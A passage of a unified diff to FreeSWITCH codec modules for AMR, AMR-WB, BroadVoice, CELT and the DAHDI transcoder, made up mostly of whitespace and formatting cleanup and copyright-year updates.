switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
|
||||
@@ -319,24 +321,23 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_amr_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "AMR");
|
||||
switch_core_codec_add_implementation(pool, codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
96, /* the IANA code number */
|
||||
"AMR", /* the IANA code name */
|
||||
"octet-align=0", /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
12200, /* bits transferred per second */
|
||||
20000, /* number of microseconds per frame */
|
||||
160, /* number of samples per frame */
|
||||
320, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_amr_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_amr_encode, /* function to encode raw data into encoded data */
|
||||
switch_amr_decode, /* function to decode encoded data into raw data */
|
||||
switch_amr_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
96, /* the IANA code number */
|
||||
"AMR", /* the IANA code name */
|
||||
"octet-align=0", /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
12200, /* bits transferred per second */
|
||||
20000, /* number of microseconds per frame */
|
||||
160, /* number of samples per frame */
|
||||
320, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_amr_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_amr_encode, /* function to encode raw data into encoded data */
|
||||
switch_amr_decode, /* function to decode encoded data into raw data */
|
||||
switch_amr_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthmct@yahoo.com>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthmct@yahoo.com>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -166,7 +166,8 @@ static switch_status_t switch_amrwb_init(switch_codec_t *codec, switch_codec_fla
|
||||
context->enc_mode = globals.default_bitrate;
|
||||
}
|
||||
|
||||
switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0, context->enc_mode);
|
||||
switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0,
|
||||
context->enc_mode);
|
||||
codec->fmtp_out = switch_core_strdup(codec->memory_pool, fmtptmp);
|
||||
|
||||
context->enc_mode = AMRWB_DEFAULT_BITRATE;
|
||||
@@ -205,11 +206,11 @@ static switch_status_t switch_amrwb_destroy(switch_codec_t *codec)
|
||||
}
|
||||
|
||||
static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t * encoded_data_len, uint32_t * encoded_rate,
|
||||
unsigned int *flag)
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
#ifdef AMRWB_PASSTHROUGH
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
|
||||
@@ -228,11 +229,11 @@ static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
|
||||
}
|
||||
|
||||
static switch_status_t switch_amrwb_decode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *encoded_data,
|
||||
uint32_t encoded_data_len,
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t * decoded_data_len, uint32_t * decoded_rate,
|
||||
unsigned int *flag)
|
||||
switch_codec_t *other_codec,
|
||||
void *encoded_data,
|
||||
uint32_t encoded_data_len,
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
#ifdef AMRWB_PASSTHROUGH
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
|
||||
@@ -279,10 +280,9 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_amrwb_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "AMR-WB");
|
||||
switch_core_codec_add_implementation(pool, codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
|
||||
20000, 320, 640, 0, 1, 1,
|
||||
switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
|
||||
switch_core_codec_add_implementation(pool, codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
|
||||
20000, 320, 640, 0, 1, 1, switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -51,16 +51,16 @@ static switch_status_t switch_bv16_init(switch_codec_t *codec, switch_codec_flag
|
||||
|
||||
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (encoding) {
|
||||
context->encoder_object = bv16_encode_init(NULL);
|
||||
}
|
||||
|
||||
|
||||
if (decoding) {
|
||||
context->decoder_object = bv16_decode_init(NULL);
|
||||
}
|
||||
|
||||
|
||||
codec->private_info = context;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -68,7 +68,7 @@ static switch_status_t switch_bv16_init(switch_codec_t *codec, switch_codec_flag
|
||||
static switch_status_t switch_bv16_destroy(switch_codec_t *codec)
|
||||
{
|
||||
struct bv16_context *context = codec->private_info;
|
||||
|
||||
|
||||
if (context->encoder_object) {
|
||||
bv16_encode_free(context->encoder_object);
|
||||
}
|
||||
@@ -134,16 +134,16 @@ static switch_status_t switch_bv32_init(switch_codec_t *codec, switch_codec_flag
|
||||
|
||||
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (encoding) {
|
||||
context->encoder_object = bv32_encode_init(NULL);
|
||||
}
|
||||
|
||||
|
||||
if (decoding) {
|
||||
context->decoder_object = bv32_decode_init(NULL);
|
||||
}
|
||||
|
||||
|
||||
codec->private_info = context;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -180,7 +180,7 @@ static switch_status_t switch_bv32_encode(switch_codec_t *codec,
|
||||
}
|
||||
|
||||
*encoded_data_len = bv32_encode(context->encoder_object, (uint8_t *) encoded_data, (int16_t *) decoded_data, decoded_data_len / 2);
|
||||
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -208,61 +208,57 @@ static switch_status_t switch_bv32_decode(switch_codec_t *codec,
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_bv_load)
|
||||
{
|
||||
switch_codec_interface_t *codec_interface;
|
||||
int mpf, spf, bpf, ebpf, count;
|
||||
int mpf, spf, bpf, ebpf, count;
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
|
||||
|
||||
mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
|
||||
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
106, /* the IANA code number */
|
||||
"BV16", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
16000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_bv16_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_bv16_encode, /* function to encode raw data into encoded data */
|
||||
switch_bv16_decode, /* function to decode encoded data into raw data */
|
||||
switch_bv16_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
106, /* the IANA code number */
|
||||
"BV16", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
16000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_bv16_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_bv16_encode, /* function to encode raw data into encoded data */
|
||||
switch_bv16_decode, /* function to decode encoded data into raw data */
|
||||
switch_bv16_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
|
||||
SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
|
||||
|
||||
mpf = 10000, spf = 160, bpf = 320 , ebpf = 40;
|
||||
mpf = 10000, spf = 160, bpf = 320, ebpf = 40;
|
||||
|
||||
for (count = 6; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
127, /* the IANA code number */
|
||||
"BV32", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
16000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_bv32_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_bv32_encode, /* function to encode raw data into encoded data */
|
||||
switch_bv32_decode, /* function to decode encoded data into raw data */
|
||||
switch_bv32_destroy); /* deinitalize a codec handle using this implementation */
|
||||
for (count = 6; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
127, /* the IANA code number */
|
||||
"BV32", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
16000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_bv32_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_bv32_encode, /* function to encode raw data into encoded data */
|
||||
switch_bv32_decode, /* function to decode encoded data into raw data */
|
||||
switch_bv32_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -51,43 +51,43 @@ static switch_status_t switch_celt_init(switch_codec_t *codec, switch_codec_flag
|
||||
|
||||
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
|
||||
context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
|
||||
celt_mode_info(context->mode_object, CELT_GET_FRAME_SIZE, &context->frame_size);
|
||||
context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size/codec->implementation->actual_samples_per_second + 4) / 8;
|
||||
context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size / codec->implementation->actual_samples_per_second + 4) / 8;
|
||||
|
||||
/*
|
||||
if (codec->fmtp_in) {
|
||||
int x, argc;
|
||||
char *argv[10];
|
||||
argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
for (x = 0; x < argc; x++) {
|
||||
char *data = argv[x];
|
||||
char *arg;
|
||||
switch_assert(data);
|
||||
while (*data == ' ') {
|
||||
data++;
|
||||
}
|
||||
if ((arg = strchr(data, '='))) {
|
||||
*arg++ = '\0';
|
||||
if (!strcasecmp(data, "bitrate")) {
|
||||
bit_rate = atoi(arg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
|
||||
*/
|
||||
if (codec->fmtp_in) {
|
||||
int x, argc;
|
||||
char *argv[10];
|
||||
argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
|
||||
for (x = 0; x < argc; x++) {
|
||||
char *data = argv[x];
|
||||
char *arg;
|
||||
switch_assert(data);
|
||||
while (*data == ' ') {
|
||||
data++;
|
||||
}
|
||||
if ((arg = strchr(data, '='))) {
|
||||
*arg++ = '\0';
|
||||
if (!strcasecmp(data, "bitrate")) {
|
||||
bit_rate = atoi(arg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
|
||||
*/
|
||||
if (encoding) {
|
||||
context->encoder_object = celt_encoder_create(context->mode_object, 1, NULL);
|
||||
}
|
||||
|
||||
|
||||
if (decoding) {
|
||||
context->decoder_object = celt_decoder_create(context->mode_object, 1, NULL);
|
||||
}
|
||||
|
||||
|
||||
codec->private_info = context;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -111,8 +111,8 @@ static switch_status_t switch_celt_encode(switch_codec_t *codec,
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
*encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *)decoded_data, NULL,
|
||||
(unsigned char *)encoded_data, context->bytes_per_packet);
|
||||
*encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *) decoded_data, NULL,
|
||||
(unsigned char *) encoded_data, context->bytes_per_packet);
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
@@ -149,52 +149,48 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_celt_load)
|
||||
|
||||
/* connect my internal structure to the blank pointer passed to me */
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
|
||||
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
114, /* the IANA code number */
|
||||
"CELT", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
32000, /* samples transferred per second */
|
||||
32000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
10000, /* number of microseconds per frame */
|
||||
320, /* number of samples per frame */
|
||||
640, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_celt_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_celt_encode, /* function to encode raw data into encoded data */
|
||||
switch_celt_decode, /* function to decode encoded data into raw data */
|
||||
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
|
||||
SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
|
||||
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
114, /* the IANA code number */
|
||||
"CELT", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
32000, /* samples transferred per second */
|
||||
32000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
10000, /* number of microseconds per frame */
|
||||
320, /* number of samples per frame */
|
||||
640, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_celt_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_celt_encode, /* function to encode raw data into encoded data */
|
||||
switch_celt_decode, /* function to decode encoded data into raw data */
|
||||
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
|
||||
ms_per_frame = 2000;
|
||||
samples_per_frame = 96;
|
||||
bytes_per_frame = 192;
|
||||
|
||||
|
||||
for (x = 0; x < 5; x++) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
114, /* the IANA code number */
|
||||
"CELT", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
48000, /* samples transferred per second */
|
||||
48000, /* actual samples transferred per second */
|
||||
48000, /* bits transferred per second */
|
||||
ms_per_frame, /* number of microseconds per frame */
|
||||
samples_per_frame, /* number of samples per frame */
|
||||
bytes_per_frame, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_celt_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_celt_encode, /* function to encode raw data into encoded data */
|
||||
switch_celt_decode, /* function to decode encoded data into raw data */
|
||||
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
114, /* the IANA code number */
|
||||
"CELT", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
48000, /* samples transferred per second */
|
||||
48000, /* actual samples transferred per second */
|
||||
48000, /* bits transferred per second */
|
||||
ms_per_frame, /* number of microseconds per frame */
|
||||
samples_per_frame, /* number of samples per frame */
|
||||
bytes_per_frame, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_celt_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_celt_encode, /* function to encode raw data into encoded data */
|
||||
switch_celt_decode, /* function to decode encoded data into raw data */
|
||||
switch_celt_destroy); /* deinitalize a codec handle using this implementation */
|
||||
ms_per_frame += 2000;
|
||||
samples_per_frame += 96;
|
||||
bytes_per_frame += 192;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -33,7 +33,7 @@
|
||||
#include <switch.h>
|
||||
#include <g711.h>
|
||||
#include <poll.h>
|
||||
#include <linux/types.h> /* __u32 */
|
||||
#include <linux/types.h> /* __u32 */
|
||||
#include <sys/ioctl.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
@@ -75,8 +75,8 @@ static uint32_t total_decoders_usage = 0;
|
||||
#define DAHDI_FORMAT_G729A (1 << 8)
|
||||
|
||||
struct dahdi_transcoder_formats {
|
||||
__u32 srcfmt;
|
||||
__u32 dstfmt;
|
||||
__u32 srcfmt;
|
||||
__u32 dstfmt;
|
||||
};
|
||||
|
||||
struct dahdi_transcoder_info {
|
||||
@@ -108,15 +108,11 @@ static int32_t switch_dahdi_get_transcoder(struct dahdi_transcoder_formats *fmts
|
||||
int32_t fdflags;
|
||||
int32_t fd = open(transcoding_device, O_RDWR);
|
||||
if (fd < 0) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
|
||||
"Failed to open %s transcoder device: %s.\n",
|
||||
transcoder_name, strerror(errno));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
if (ioctl(fd, DAHDI_TC_ALLOCATE, fmts)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
|
||||
"Failed to attach to transcoder: %s.\n",
|
||||
strerror(errno));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to attach to transcoder: %s.\n", strerror(errno));
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
@@ -124,15 +120,14 @@ static int32_t switch_dahdi_get_transcoder(struct dahdi_transcoder_formats *fmts
|
||||
if (fdflags > -1) {
|
||||
fdflags |= O_NONBLOCK;
|
||||
if (fcntl(fd, F_SETFL, fdflags)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
|
||||
transcoder_name, strerror(errno));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
|
||||
transcoder_name, strerror(errno));
|
||||
/* should we abort? this may cause channels to hangup when overruning the device
|
||||
* see jira dahdi codec issue MODCODEC-8 (Hung Calls and Codec DAHDI G.729A 8.0k decoder error!)
|
||||
* */
|
||||
}
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n",
|
||||
transcoder_name, strerror(errno));
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n", transcoder_name, strerror(errno));
|
||||
}
|
||||
|
||||
if (fmts->srcfmt & DAHDI_FORMAT_ULAW) {
|
||||
@@ -154,19 +149,17 @@ static switch_status_t init_encoder(switch_codec_t *codec)
|
||||
struct dahdi_context *context = codec->private_info;
|
||||
|
||||
fmts.srcfmt = DAHDI_FORMAT_ULAW;
|
||||
fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
|
||||
fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
|
||||
? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
|
||||
context->encoding_fd = switch_dahdi_get_transcoder(&fmts);
|
||||
if (context->encoding_fd < 0) {
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n",
|
||||
fmts.srcfmt, fmts.dstfmt);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
|
||||
#endif
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n",
|
||||
fmts.srcfmt, fmts.dstfmt);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
|
||||
#endif
|
||||
|
||||
|
||||
@@ -176,23 +169,21 @@ static switch_status_t init_encoder(switch_codec_t *codec)
|
||||
|
||||
static switch_status_t init_decoder(switch_codec_t *codec)
|
||||
{
|
||||
struct dahdi_transcoder_formats fmts;
|
||||
struct dahdi_context *context = codec->private_info;
|
||||
struct dahdi_transcoder_formats fmts;
|
||||
struct dahdi_context *context = codec->private_info;
|
||||
|
||||
fmts.dstfmt = DAHDI_FORMAT_ULAW;
|
||||
fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
|
||||
fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
|
||||
? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
|
||||
context->decoding_fd = switch_dahdi_get_transcoder(&fmts);
|
||||
if (context->decoding_fd < 0) {
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n",
|
||||
fmts.srcfmt, fmts.dstfmt);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
|
||||
#endif
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
#ifdef DEBUG_DAHDI_CODEC
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n",
|
||||
fmts.srcfmt, fmts.dstfmt);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
|
||||
#endif
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -228,7 +219,7 @@ static switch_status_t switch_dahdi_init(switch_codec_t *codec, switch_codec_fla
|
||||
/* ulaw requires 8 times more storage than g729 and 12 times more than G723, right?
|
||||
* this can be used to calculate the target buffer when encoding and decoding
|
||||
* */
|
||||
context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
|
||||
context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
|
||||
? 8 : 12;
|
||||
|
||||
|
||||
@@ -238,7 +229,7 @@ static switch_status_t switch_dahdi_init(switch_codec_t *codec, switch_codec_fla
|
||||
static int wait_for_transcoder(int fd)
|
||||
{
|
||||
/* let's wait a bit for the transcoder, if in 20msthe driver does not notify us that its ready to give us something
|
||||
then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
|
||||
then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
|
||||
int res = 0;
|
||||
struct pollfd readpoll;
|
||||
memset(&readpoll, 0, sizeof(readpoll));
|
||||
@@ -246,21 +237,21 @@ static int wait_for_transcoder(int fd)
|
||||
readpoll.events = POLLIN;
|
||||
/* my testing shows that it does not take more than 1ms to encode a 160 bytes frame ulaw to g729,
|
||||
I dont think there is much difference decoding and for g723, waiting 10ms seems more than reasonable */
|
||||
res = poll(&readpoll, 1, 10);
|
||||
res = poll(&readpoll, 1, 10);
|
||||
return res;
|
||||
}
|
||||
|
||||
static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
